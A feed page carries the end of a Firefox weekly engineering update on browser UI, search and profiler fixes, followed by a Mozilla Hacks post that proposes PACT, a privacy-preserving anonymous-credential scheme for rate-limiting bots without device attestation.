<li>Irene Ni shipped multiple visual fixes for the Sports widget<a href="https://bugzil.la/2041765"> Sports widget – various visual fixes</a> (spacing, truncation, icon alignment, clipping) to improve readability and layout on constrained viewports.</li>
</ul>
<h4>Picture-in-Picture</h4>
<ul>
<li>kpatenio <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2041113">adjusted our YouTube site specific wrapper so that the URL bar toggle appears more reliably</a>, especially when selecting videos from the YouTube search page.</li>
<li>Thanks to Sylvestre for patching <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2037420">some</a> <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2042141">bugs</a> to prevent some spurious console errors!</li>
<li>Niklas <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2013735">fixed captions on autopip videos failing to sync with the origin videos</a>.</li>
</ul>
<h4>Performance Tools (aka <a href="https://profiler.firefox.com/">Firefox Profiler</a>)</h4>
<ul>
<li>Firefox Profiler now has a CLI! We also added a profiler-analysis skill to the Firefox codebase. Once you capture a performance profile, you can ask Claude or an AI to analyze it by providing a link or local path. You can use it to analyze a performance regression or debug an issue if you have a profile at hand.
<ul>
<li><a href="https://www.npmjs.com/package/@firefox-devtools/profiler-cli">https://www.npmjs.com/package/@firefox-devtools/profiler-cli</a></li>
<li>You can install it with npm install -g @firefox-devtools/profiler-cli@latest</li>
</ul>
</li>
</ul>
<h4>Search and Urlbar</h4>
<h6>Nova UI refresh</h6>
<ul>
<li>Drew and Daisuke continued working on reorganizing styles and updating the urlbar for Nova.</li>
<li><a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2019154">2019154</a>, <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2019152">2019152</a>, <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2041501">2041501</a>, <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2040532">2040532</a></li>
</ul>
<h6>Suggest</h6>
<ul>
<li>Drew landed several Suggest improvements: realtime suggestions colors, sports suggestions received World Cup tweaks, and online Suggest via OHTTP was enabled for eligible users in Firefox 153.</li>
<li><a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2040561">2040561</a>, <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2039753">2039753</a>, <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2035614">2035614</a>, <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2038843">2038843</a></li>
</ul>
<h6>Adaptive autofill</h6>
<ul>
<li>James fixed soft-block counting to track autofill dismisses, rather than consecutive backspaces on the same autofill, and added telemetry to measure URLs reintegration after blocking.</li>
<li><a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2040819">2040819</a>, <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2037177">2037177</a></li>
</ul>
<h6>Quick actions</h6>
<ul>
<li>Dharma created a new Firefox Labs quick action, fixed the Update action button, and re-enabled ScotchBonnet in some tests that were not updated yet.</li>
<li>Caleb added Calculator support for certain unicode operators.</li>
<li><a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2023169">2023169</a>, <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=1928635">1928635</a>, <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=1923383">1923383</a>, <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2033861">2033861</a></li>
</ul>
<h6>Multi Context Address Bar</h6>
<ul>
<li>Moritz continued refactoring the urlbar code: converted some of the js modules to not be system modules, fixed dynamic results templates, incorrect reuse of result rows, and keyboard shortcuts on the unified search button panel.</li>
<li><a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2039297">2039297</a>, <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2036095">2036095</a>, <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2039844">2039844</a>, <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2037933">2037933</a>, <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2030050">2030050</a></li>
</ul>
<h6><i>Other</i></h6>
<ul>
<li>Marco, Drew and Daisuke fixed several intermittent test failures.</li>
<li><a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2038510">2038510</a>, <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2023908">2023908</a>, <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2011584">2011584</a>, <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=1938142">1938142</a>, <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=1971091">1971091</a></li>
</ul>
<h5>Search</h5>
<ul>
<li>Mark removed old WebExtension-based search engines from the source tree, removed loading of search add-ons from <i>resource://search-extensions/</i>.</li>
<li>Caleb fixed multiple documentation issues and added a test covering searches from a private window.</li>
<li><a href="https://bugzilla.mozilla.org/show_bug.cgi?id=1904613">1904613</a>, <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2035878">2035878</a>, <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2037942">2037942</a>, <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2033545">2033545</a>, <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2005724">2005724</a></li>
</ul>
<h5>Places</h5>
<ul>
<li>Marco removed some unnecessary database transactions, fixed the bookmarks panel folder dropdown on Windows, and resolved several intermittent test failures.</li>
<li>Thanks to Sam Johnson who fixed the bookmark edit panel showing “mobile” instead of “Mobile Bookmarks”.</li>
<li><a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2039534">2039534</a>, <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=1505800">1505800</a>, <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2008829">2008829</a>, <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2029541">2029541</a>, <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2035084">2035084</a></li>
</ul>
<ul>
<li>
</ul>]]></content:encoded>
</item>
<item>
<title><![CDATA[Hacks.Mozilla.Org: PACT: Anonymous Credentials for the Web]]></title>
<description><![CDATA[This is the technical companion to our update on Distilled, “Keeping the web open and private in the bot era.” Here we take a deeper look at the problem space, the design we’re proposing, and the problems still left to solve. 
Bots (and privacy-preserving browsers) not welcome 
Browse a news site...]]></description>
<link>https://tsecurity.de/de/3693291/tools/hacksmozillaorg-pact-anonymous-credentials-for-the-web/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3693291/tools/hacksmozillaorg-pact-anonymous-credentials-for-the-web/</guid>
<pubDate>Sat, 25 Jul 2026 08:37:27 +0200</pubDate>
<category>💾  Tools</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p class="c43"><em><span class="c11 c1">This is the technical companion to our update on Distilled, </span><span class="c11 c1 c17"><a class="c5" href="https://blog.mozilla.org/en/privacy-security/keeping-the-web-open-and-private-in-the-bot-era/">“Keeping the web open and private in the bot era.”</a></span><span class="c11 c1"> Here we take a deeper look at the problem space, the design we’re proposing, and the problems still left to </span><span class="c1 c11">solve</span></em><span class="c13 c11 c1"><em>.</em> </span></p>
<h3 class="c24"><span class="c2 c1">Bots (and privacy-preserving browsers) not welcome </span></h3>
<p class="c40"><span class="c0">Browse a news site in a private window. Shop at a major retailer with a VPN. Visit a video streaming platform with anti-fingerprinting defenses tuned up. You’ll see the same responses: registration walls, block pages, and endless CAPTCHAs. The message is clear: </span><span class="c13 c11 c1">if we think you might be a bot, you’re not welcome</span><span class="c0">. </span></p>
<p class="c53"><span class="c0">Websites have valid reasons for wanting to block bots. Bots enable volumetric abuse</span><span class="c1">, abuse that wouldn’t otherwise be feasible if they had to be carried out by humans</span><span class="c0">. </span><span class="c0"> For example</span><span class="c1">: SEO comment spam, credential stuffing and DDoSing</span><span class="c0">.</span><span class="c0"> Consequently many sites employ dedicated anti-abuse tooling which aims to keep the bots out whilst minimizing friction for human visitors. </span></p>
<p class="c21"><span class="c0">Unfortunately, that tooling is increasingly failing at both tasks. Browser privacy protections are </span><span class="c3 c1"><a class="c5" href="https://blog.mozilla.org/en/firefox/fingerprinting-protections/">dismantling</a></span><span class="c0"> the passive signals that anti-abuse systems depended on to identify and distinguish </span><span class="c0">visitors</span><span class="c0">. Meanwhile advances in generative AI have rendered CAPTCHAs ineffective: bots now solve them </span><span class="c3 c1"><a class="c5" href="https://www.usenix.org/system/files/usenixsecurity23-searles.pdf">faster and more reliably</a></span><span class="c0"> than </span><span class="c0">humans</span><span class="c0">. </span></p>
<p class="c33"><span class="c0">Many sites are switching to more invasive mechanisms and now ask visitors to disclose </span><span class="c1">identifying information</span><span class="c0">,</span><span class="c0"> e.g. an email address, a federated login or </span><span class="c1">disabling their VPN</span><span class="c0">. This means greater friction for users, since providing these details on a first visit takes time. It also compromises their privacy, since these details enable the same kinds of cross-site tracking that browser privacy protections were intended to mitigate. </span></p>
<p class="c38"><span class="c0">This </span><span class="c1">leaves</span><span class="c0"> users </span><span class="c1">with a</span><span class="c0"> dilemma. The more effectively they protect their privacy, the harder it is for websites to distinguish them from bots and the worse the treatment they receive. Website operators are also suffering. The additional friction they inflict upon well-behaved visitors harms their site, but many are willing to pay the costs if it mitigates volumetric abuse. </span></p>
<p class="c44"><span class="c1">Browser-based AI agents make this tension more acute. Sites may want to allow agents which are acting on behalf of individual users while blocking agents engaged in volumetric abuse. However, with no effective mechanisms to distinguish the two, websites are opting to block </span><span class="c17 c1"><a class="c5" href="https://dl.acm.org/doi/epdf/10.1145/3730567.3732913">both</a></span><span class="c0">. That hurts users, who should be free to choose the user agent they use to access the web; it hurts new browsers and agents, which struggle to interoperate; and it hurts sites, which lose legitimate visitors.</span></p>
<p class="c30"><span class="c0">The consequence is that the web gets worse for everyone. Users get more friction or less privacy or both. Website operators see more volumetric abuse and the friction they add drives away users </span><span class="c1">who</span><span class="c0"> would otherwise want to consume their content or services. New user</span><span class="c1"> </span><span class="c0">agents struggle to access the same content as conventional browsers. </span></p>
<h3 class="c12"><span class="c20 c1">The</span><span class="c20 c1"> Costs of </span><span class="c2 c1">Convenient</span><span class="c2 c1"> Solutions</span></h3>
<p class="c9"><span class="c0">Some large ecosystem players have put forward solutions that leverage their control of the dominant operating systems and their deep integration with consumer hardware. These rely on device attestation: identifiers and privileged code baked into devices at the hardware level, which let manufacturers prove what software is running on a user’s device. Exposing this functionality to the web means attesting to sites that the user is running approved software with trusted hardware and therefore isn’t a bot. There have been two substantive proposals.</span></p>
<p class="c9"><span class="c0">Google’s Web Environment Integrity, <a href="https://www.theregister.com/software/2023/11/02/google-abandons-web-environment-integrity-api-proposal/335969">abandoned in 2023</a>, was the blunt version. It attested to the user agent itself, as well as the operating system and device in use. Users would have lost control in two ways: once to the attester, which would decide which operating systems and devices could be blessed, and again to the website, which would decide which software to accept. If sites had adopted allow-lists of approved user agents, building a new browser would have become virtually impossible, and sites could have withdrawn access from any user agent they chose.</span></p>
<p class="c9"><span class="c0">Apple’s Private Access Tokens, <a href="https://developer.apple.com/news/?id=huqjyh7k">deployed</a> across their ecosystem in 2022, have more subtle issues. Built on the Privacy Pass protocol standardized at the IETF, they get a lot right: a user receives a renewed, limited batch of one-time tokens that can be presented to websites without linking their visits together. This provides privacy for users and has shown rate limits to be an effective tool for sites – both points we’ll return to later in this post.</span></p>
<p class="c9"><span class="c1">However, Private Access Tokens rely on device attestation, requiring that the hardware manufacturer be in overall control of the user’s device. Presenting a PAT tells a website you are locked into Apple’s rules for what counts as acceptable software. </span><span class="c1">Due to PAT’s technical design</span><sup class="c1"><a href="https://hacks.mozilla.org/?p=48374#:~:text=PAT%20requires">[1]</a></sup><span class="c1">, there’s no way to open the system to other sources of scarcity without compromising the system’s privacy properties, meaning that if more widely deployed, access to the web would</span><span class="c1"> become tied to having bought expensive hardware from a small, hard to change set of vendors</span><span class="c1">. </span></p>
<p class="c9"><span class="c1">Both approaches are ultimately hostile to users and to the openness of the web. Both are premised on parts of a user’s device that sit within the manufacturer’s control and beyond the user’s own. Were they widely deployed, the web would become just another walled garden with centralized gatekeepers controlling acceptable hardware, operating systems and software. As convenient as these solutions are for the players who already dominate the ecosystem, we think there’s a better path.</span></p>
<h3 class="c24"><span class="c2 c1">A Better Path Forward </span></h3>
<p class="c24"><span class="c1">Bots’ harms arise from their ability to operate beyond human scale. For sites to prevent volumetric abuse they</span><span class="c0"> don’t actually need to know </span><span class="c1">the user’s</span><span class="c0"> identity or </span><span class="c1">receive cryptographic</span><span class="c0"> proof that they’re running approved softwar</span><span class="c1">e. If sites knew their visitors were restricted to a rate </span><span class="c1">limit</span><span class="c1"> set by a site, that would be enough.  </span></p>
<p class="c34"><span class="c1">Rate limits</span><span class="c0"> only make sense if </span><span class="c1">they’re</span><span class="c0"> </span><span class="c1">tied to</span><span class="c0"> something scarce; something an attacker can’t cheaply replicate to evade the limit. </span><span class="c0">Without anchoring to a scarce resource, like the trusted hardware used in Private Access Tokens, attackers can generate as many fresh identities as they need to bypass the rate limit. </span></p>
<p class="c56"><span class="c1">However, </span><span class="c0">hardware is just one option for </span><span class="c1">scarcity</span><span class="c0">. Anything a user already has that an attacker can’t trivially spin up at scale will work</span><span class="c1">: e</span><span class="c0">mail addresses and phone numbers are naturally scarce</span><span class="c1">. A paid subscription costs an attacker the same as a real user.  </span><span class="c0">Even maintaining an account on a free service requires </span><span class="c1">some</span><span class="c0"> non-trivial work. </span></p>
<p class="c39"><span class="c0">What if we could use these scarce signals across the web? We</span><span class="c1"> could build </span><span class="c0">an open ecosystem with many parties offering scarcity signals, each site choosing which to accept. By </span><span class="c0">opening up who can provide a signal, and letting sites choose which to accept, we can avoid transferring control to device manufacturers and the resulting harms. </span></p>
<p class="c39"><span class="c1">As a concrete example of who might be well positioned to provide such a signal, we can consider VPN providers acting as a subscription service. Sites routinely block VPN users indiscriminately, whether through a deliberate policy choice or through an indirect consequence of rate limiting visitors per IP address. But a VPN subscription is a perfect source of scarcity. If the VPN provider could vouch for its users so that sites could rate limit each user individually – then users would be able to browse the web with less friction and without giving up their VPN usage. </span></p>
<p class="c35"><span class="c0">The catch is that building </span><span class="c1">a system that can enable this</span><span class="c0"> on the open web whilst </span><span class="c1">maintaining user’s privacy</span><span class="c0"> is genuinely difficult. </span><span class="c1">It requires that we take information from one site — that this user holds some scarce thing — and expose it to other sites so that they can use that as the basis for their rate limiting. </span><span class="c0">Letting one site verify a signal from another is </span><span class="c1">the sort of </span><span class="c0">information flow</span><span class="c1"> </span><span class="c0">that privacy-pr</span><span class="c1">eserving </span><span class="c0">browsers have spent the last decade locking down to </span><span class="c1">prevent cross-site tracking</span><span class="c0">. </span></p>
<p class="c35"><span class="c1">Our goal would be that no more than the minimum information gets through: a single bit communicating whether the user is below the rate limit set by the site. Leaking anything more – like the source of the scarcity that the rate limit is anchored to – would be unacceptable. Enabling a new cross-site information flow might feel like compromising privacy to gain better access, but reality is more nuanced. If a new system moves sites away from demanding that visitors be identifiable (whether through fingerprinting or login forms), </span><span class="c1">it can be a win for both privacy and access.</span></p>
<h3 class="c24"><span class="c2 c1">The Foundations </span></h3>
<p class="c50"><span class="c0">The good news is that the cryptographic foundations for a privacy preserving approach already exist. The </span><span class="c1 c3"><a class="c5" href="https://privacypass.github.io/">Privacy Pass protocol</a></span><span class="c3 c1"><a class="c5" href="https://www.google.com/url?q=https://privacypass.github.io/&amp;sa=D&amp;source=editors&amp;ust=1782228494401139&amp;usg=AOvVaw3uoXdqARBZKjQF5H8uwYKY">,</a></span><span class="c0"> </span><span class="c3 c1"><a class="c5" href="https://www.petsymposium.org/2018/files/papers/issue3/popets-2018-0026.pdf">originally developed in 2018</a></span><span class="c0"> to reduce the friction of Cloudflare CAPTCHAs for Tor users, introduced the core primitive: a token that is </span><span class="c13 c11 c1">unlinkable </span><span class="c0">between issuance and redemption. You prove something to an issuer (e.g. by </span><span class="c1">solving a CAPTCHA</span><span class="c0">), receive some tokens, and later present a token to a website. The website can verify the token is legitimate, but can’t link it to the user it was issued to. </span></p>
<p><img alt="A diagram showing the protocol flow for Privacy Pass." class="aligncenter size-full wp-image-48375" height="1639" src="https://hacks.mozilla.org/wp-content/uploads/2026/06/pact-drawings-1.excalidraw1-scaled.png" width="2560"></p>
<p class="c27"><img alt="" title=""><span class="c20 c1 c57"><strong>Figure 1</strong>: </span><span class="c0"><em>In Privacy Pass, a CAPTCHA provider can issue tokens to a client which can then be used to bypass challenges for future site visits. Even if the CAPTCHA provider and sites collude, they can’t use the tokens to identify the user or their browsing history.</em> </span></p>
<p class="c52"><span class="c0">Privacy Pass has gone on to be successfully deployed in systems where the issuer and verifier have a prior trust relationship: </span><span class="c0">Apple</span><span class="c0"> uses it to authenticate users of </span><span class="c3 c1"><a class="c5" href="https://hacks.mozilla.org/feed/">Private Cloud Compute</a></span><span class="c0"> </span><span class="c1">and</span><span class="c0"> </span><span class="c3 c1"><a class="c5" href="https://www.apple.com/privacy/docs/iCloud_Private_Relay_Overview_Dec2021.PDF">Private Rel</a></span><span class="c17 c1"><a class="c5" href="https://www.google.com/url?q=https://www.apple.com/privacy/docs/iCloud_Private_Relay_Overview_Dec2021.PDF&amp;sa=D&amp;source=editors&amp;ust=1782228494402463&amp;usg=AOvVaw0KGoiSPg-8NLvNvIiSSbPt">ay</a></span><span class="c1"> </span><span class="c0">without linking their activity to their identity, </span><span class="c0">Chrome</span><span class="c0"> uses it for </span><span class="c3 c1"><a class="c5" href="https://github.com/GoogleChrome/ip-protection">two-hop IP protection</a></span><span class="c0">, and </span><span class="c0">Kagi</span><span class="c0"> uses it to provide </span><span class="c17 c1"><a class="c5" href="https://help.kagi.com/kagi/privacy/privacy-pass.html">private search</a></span><span class="c0">. </span><span class="c0">These deployments work in part because a small number of parties have agreed in advance on who issues tokens and who accepts them. </span></p>
<p class="c18"><span class="c0">Applying this approach to an open system where any site can act as</span><span class="c0"> an issuer</span><span class="c0"> </span><span class="c3 c1"><a class="c5" href="https://docs.google.com/document/d/1k3QJG2D_Sq4zJiJRn9DfY80hEHuz9UWrJdTt8LbRsMM/edit?tab=t.0#heading=h.r8jxzjcoeumo">brings real challenges</a></span><span class="c0">.</span><span class="c0"> Firstly, even though tokens are unlinkable, knowing a user has access to a specific issuer is a privacy leak on its own, because you can infer that the user meets the relevant issuance criteria. </span><span class="c1">If one site can learn that you have a token from another site, that reveals that you have been to that site, which can be a major privacy problem. </span><span class="c0">This compounds if </span><span class="c1">sites </span><span class="c0">can learn the set of issuers </span><span class="c1">you have visited</span><span class="c0">, since it becomes a fingerprint which can be used to identify </span><span class="c1">you</span><span class="c0">. </span></p>
<p class="c8"><span class="c3 c1"><a class="c5" href="https://blog.cryptographyengineering.com/2014/11/27/zero-knowledge-proofs-illustrated-primer/">Generic techniques</a></span><span class="c0"> exist for proving a statement in zero knowledge: we can prove that </span><span class="c1">a client</span><span class="c0"> ha</span><span class="c1">s</span><span class="c0"> a token from a set of acceptable issuers without revealing which specific issuer it is. We’ll call this issuer blinding. </span><span class="c0">The generic approach is often slow, but </span><span class="c3 c1"><a class="c5" href="https://www.ietf.org/archive/id/draft-orru-zkproof-sigma-protocols-01.html">bespoke approaches</a></span><span class="c0"> tailored to the underlying cryptography can improve this considerably. </span></p>
<p class="c54"><span class="c0">Another challenge is how sites using rate limits decide who to trust to issue tokens. If an issuer misbehaves then the site’s rate limits become ineffective, enabling volumetric abuse. However, if we need to prevent the site from learning which issuers a user has access to, the site is only going to know that one of its trusted issuers was used, not which one. This makes mistakes or misbehaviour by an issuer difficult to detect, and makes it hard for sites to evaluate new issuers. Solving this challenge is essential for openness. Without adequate information, </span><span class="c0">sites are likely to lean towards conservative issuer selection. </span><span class="c1">That could lead to less choice between Anchors, which in turn could lead to a new form of gatekeeper being created.</span><span class="c0"> </span></p>
<p class="c32"><span class="c0">To solve this, sites at least need a way to calculate an aggregate score for each issuer they use. This should roughly correspond to how much of the traffic it considers abusive to have come from users using that particular issuer. Mozilla has long invested in systems like </span><span class="c3 c1"><a class="c5" href="https://blog.mozilla.org/en/firefox/partnership-ohttp-prio/">Prio</a></span><span class="c0"> which use multiparty computation (MPC) to protect user privacy whilst enabling aggregate measurements of system behaviour. </span></p>
<p class="c59"><span class="c0">Privacy Pass also struggles to handle dynamic adjustments to rate limits. Once tokens have been issued, they’re difficult to invalidate without either revoking all active tokens or risking attacks which can compromise the privacy of users. It’s also beneficial if sites can adjust rate limits on a per </span><span class="c1">client</span><span class="c0"> basis, for example by increasing rate limits where they become more confident the </span><span class="c1">client</span><span class="c0"> is benign and withdrawing access </span><span class="c1">when abuse is detected</span><span class="c0">. </span></p>
<p class="c47"><span class="c3 c1"><a class="c5" href="https://www.ietf.org/archive/id/draft-schlesinger-cfrg-act-00.html">Anonymous Credit Tokens</a></span><span class="c0"> </span><span class="c0">offer a useful building block to solve this problem. Conventional Privacy Pass schemes rely on issuing a bucket of tokens but ACT works differently by enabling the use of a credential with state. For example, an ACT credential can hold an internal counter. When the credential is presented, the site can check the counter is over some threshold and mutate it, increasing or decreasing </span><span class="c1">the counter whenever</span><span class="c0"> the site’s perception of the holder has improved or worsened. Critically, the exact value is never leaked to the site, preventing the site from tracking the holder and ensuring successive presentations of the same credential can’t be linked. </span></p>
<h3 class="c24"><span class="c2 c1">Putting it together </span></h3>
<p class="c19"><span class="c1">So how can we combine these techniques to build a system which can enable privacy-preserving rate limiting on the open web? In May 2026, we participated in a </span><a href="https://pactworkshop.com/"><span class="c17 c1">W3C CG Meeting</span></a><span class="c0"> in collaboration with Cloudflare, Chrome and other web stakeholders in which we started sketching out a design we’re calling PACT – Private Access Control Tokens. </span></p>
<p class="c19"><span class="c0">Rate limits need a starting point, a source of scarcity to anchor on. We’ll call an entity that provides such a source an </span><span class="c2 c1">Anchor</span><span class="c0">. To a user who meets the Anchor’s criteria, like having a subscription,</span><span class="c0"> an account in good standing</span><span class="c0">, or a verified phone number, an Anchor issues a batch of </span><span class="c2 c1">Endorsement </span><span class="c0">tokens, following the Privacy Pass model. In practice, Anchors could be any website which has access to this kind of signal. An Endorsement conveys</span><span class="c1"> </span><span class="c0">scarcity to other sites. </span></p>
<p class="c51"><span class="c0">That’s enough for a simple system where access is </span><span class="c1">either granted or denied</span><span class="c0">. But as we discussed earlier, we also want the ability to increase access where a visitor behaves benignly and decrease it where they don’t. </span><span class="c1">The state needed to enforce a rate limit</span><span class="c0"> can’t live in the Endorsement, because Endorsements cross trust boundaries between unrelated sites. We need a second object that can hold that state, scoped to the party that maintains it. </span></p>
<p class="c48"><span class="c0">We’ll call that the party that handles rate limiting for a site a </span><span class="c2 c1">Moderator </span><span class="c0">and the stateful object a </span><span class="c2 c1">Credential</span><span class="c0">. </span><span class="c1">A Credential is specific to a Moderator and, unlike endorsements, we limit each site to nominating a single Moderator. In the common case the site itself plays the Moderator role, so there’s no new entity or trust boundary. </span><span class="c1">A Moderator can also be a third-party service shared across many sites, allowing those sites to cooperatively share a rate limit.</span><span class="c0"> </span></p>
<p class="c48"><span class="c0">In the terminology of the previous section, the Anchor is the issuer of Endorsements, and the Moderator both verifies Endorsements and issues Credentials. A Moderator manages rate-limit policy: it decides which Anchors it trusts, accepts their Endorsements, and issues a Credential in return.</span></p>
<p class="c14"><img alt="" title=""><img alt="A diagram showing an overview of the PACT system" class="aligncenter size-full wp-image-48381" height="1655" src="https://hacks.mozilla.org/wp-content/uploads/2026/06/pact-drawings-5.excalidraw21-scaled.png" width="2560"></p>
<p class="c14"><strong><span class="c1 c20">Figure 2: </span></strong><span class="c1"><em>(1) Clients acquire Endorsements from Anchors in the course of normal browsing to sites they have relationships with. (2) Clients can exchange Endorsements for a stateful Credential from a Moderator. (3) Credentials can be used to access sites which use that Moderator. Credentials can be updated over time.</em> </span></p>
<p class="c41"><span class="c0">Directly revealing which Anchor backed an Endorsement would leak a lot of information about the user. The issuer blinding techniques from the previous section solve this: when an Endorsement is redeemed, the Moderator only learns that it came from one of </span><span class="c1">the </span><span class="c0">Anchors it trusts, but not which one. </span></p>
<p class="c28"><span class="c0">When a Moderator covers more than one site, we let Credentials be presented across all of them but partition cookies and storage as</span><span class="c1"> we would for any other third party site</span><span class="c0">. The unlinkability of </span><span class="c1">Credential</span><span class="c0"> presentations keeps this from creating a new cross-site identifier. The benefit is that good behaviour on one site improves access on every site the Moderator covers, and bad behaviour cuts it everywhere. Websites can already build the same capability with a shared account system, so this doesn’t create a new way to lock users out, but it </span><span class="c1">does provide a</span><span class="c0"> new way to grant access without requiring users to give up their privacy. </span></p>
<p class="c28"><span class="c0">Enabling Moderators that cover many sites carries a centralisation risk, simila</span><span class="c1">r </span><span class="c0">to the concentration we see today in anti-abuse providers. The mitigation is that the choice of Moderator stays with each site, and the choice of trusted Anchors stays with each Moderator. Th</span><span class="c1">is</span><span class="c0"> </span><span class="c1">can’t</span><span class="c0"> reverse the centralisation pressure the web already faces, but it </span><span class="c1">ensures this system won’t lead to additional lock-in</span><span class="c0">: a new Anchor or a new Moderator can be adopted without coordinating with a dominant vendor. </span></p>
<p class="c46"><span class="c0">The </span><span class="c1">system then has three flows</span><span class="c0">.</span><span class="c0"> First, the user </span><span class="c1">receives</span><span class="c0"> Endorsements from an Anchor in the course of normal interaction</span><span class="c1">, based on the Anchor’s positive view of the user</span><span class="c0">. This is </span><span class="c0">a relatively rare operation for any given user and Anchor. After all, as our source of scarcity, Endorsements should not be too easy to accumulate.</span></p>
<p class="c10"><img alt="" title=""><img alt="A diagram showing the PACT Anchor Flow" class="aligncenter size-full wp-image-48377" height="1789" src="https://hacks.mozilla.org/wp-content/uploads/2026/06/pact-drawings-3.excalidraw1-scaled.png" width="2560"></p>
<p class="c10"><strong><span class="c20 c1">Figure 3</span></strong><span class="c1">: <em>In the course of normal browsing, clients browse to websites they have a relationship with. These sites can act as Anchors by issuing Endorsements to clients.</em></span></p>
<p class="c26"><span class="c0">Second, when the user arrives at a site that works with a Moderator, the browser spends an Endorsement from an Anchor the Moderator trusts and receives a Credential in return. The presentation hides </span><span class="c13 c11 c1">which </span><span class="c0">Anchor was used, and </span><span class="c1">neither the Anchor nor the Moderator can trace the Endorsement back to where it was issued</span><span class="c0">. The Moderator decides what initial balance the Credential starts with. If the user has no Endorsements from suitable Anchors at all, existing mechanisms (CAPTCHAs, account creation, federated login) </span><span class="c1">could be used to</span><span class="c0"> bootstrap a Credential the same way, so the system degrades to today’s experience rather than locking the user out.</span></p>
<p class="c7"><img alt="" title=""><img alt="A diagram showing the protocol flow between Anchors and Moderators" class="aligncenter size-full wp-image-48378" height="1789" src="https://hacks.mozilla.org/wp-content/uploads/2026/06/pact-drawings-4.excalidraw1-scaled.png" width="2560"></p>
<p class="c7"><span class="c20 c1"><strong>Figure 4</strong></span><span class="c1"><strong>:</strong><em> When the client browses to a site, it can prompt the client for a Credential from the Moderator it uses. If the Client doesn’t have a suitable Credential, but does have a suitable Endorsement, it can exchange it for a Credential with the Moderator. In practice, the Moderator and the Site might be the same server. </em></span><em><span class="c0"> </span></em></p>
<p class="c25"><span class="c0">Third, as the user browses, the browser presents the Credential and the Moderator updates </span><span class="c1">the internal state of the Credential</span><span class="c0">. The </span><span class="c1">Moderator can reward </span><span class="c0">behaviour that looks benign and </span><span class="c1">penalize suspicious activity</span><span class="c0">, </span><span class="c1">but can’t track the use of the Credential or identify it if it’s used on other sites the Moderator covers</span><span class="c0">. </span><span class="c0">Revocation falls out of the same mechanism: a Moderator </span><span class="c1">can refuse to return an updated Credential</span><span class="c0">.</span><span class="c0"> </span></p>
<p class="c7"><img alt="" title=""><img alt="A diagram showing the PACT Moderator Flow" class="aligncenter size-full wp-image-48379" height="1618" src="https://hacks.mozilla.org/wp-content/uploads/2026/06/pact-drawings-5.excalidraw1-scaled.png" width="2560"></p>
<p class="c7"><strong><span class="c20 c1">Figure 5</span></strong><span class="c0"><strong>:</strong> <em>The Client can present the Credential on sites which use the matching Moderator. Sites can check if the Credential is in good standing. The sites can then adjust the access the Credential has in response to behaviour. E.g. increasing it when they gain confidence in the client or reducing it in response to malicious behaviour.</em></span></p>
<p class="c23"><span class="c0">In practice, all of this would happen transparently to the user through a WebAPI that sites acting as Anchors or Moderators would call from JavaScript. In an ideal ecosystem, users would accumulate Endorsements through normal browsing, just by virtue of the sites they already visit, and the rest of the flow would happen in the background as they move around the web, leaving </span><span class="c1">users</span><span class="c0"> with meaningfully less friction. </span></p>
<p class="c16"><span class="c0">AI agents acting on behalf of a user slot into the same flow. An agent can carry its user’s Credentials, in which case the user remains accountable for how the agent </span><span class="c1">behaves.</span><span class="c0"> </span><span class="c1">S</span><span class="c0">ites would not need to grant any more access than they would to the user themselves. Alternatively, the operator of an agent can run its own Anchor and vouch for its agents the way other Anchors vouch for human users. </span><span class="c0">Sites retain control over which Anchors they accept, so they can choose how to treat agent traffic without needing a separate detection mechanism. </span></p>
<p class="c6"><span class="c0">Several mechanisms combine to keep the information about a user that flows out close to a single bit. Cryptographic unlinkability ensures successive Credential presentations cannot be tied to each other or to the original issuance, so a user’s visits cannot be </span><span class="c1">joined</span><span class="c0"> into a history. Each site is bound to a single Moderator, so the set of Moderators a user has Credentials with never becomes a cross-site fingerprint. The Anchor-to-Credential exchange happens in an isolated browsing context, so during ordinary browsing the only thing the site or its Moderator ever observes is a Credential presentation: </span><span class="c1">the site only learns if </span><span class="c0">the user has a valid Credential below the rate limit, or </span><span class="c1">nothing</span><span class="c0">. </span><span class="c1">W</span><span class="c0">hen the Moderator updates a </span><span class="c1">Credential</span><span class="c0">, it</span><span class="c0"> adjusts the credentials state without learning what it is.</span></p>
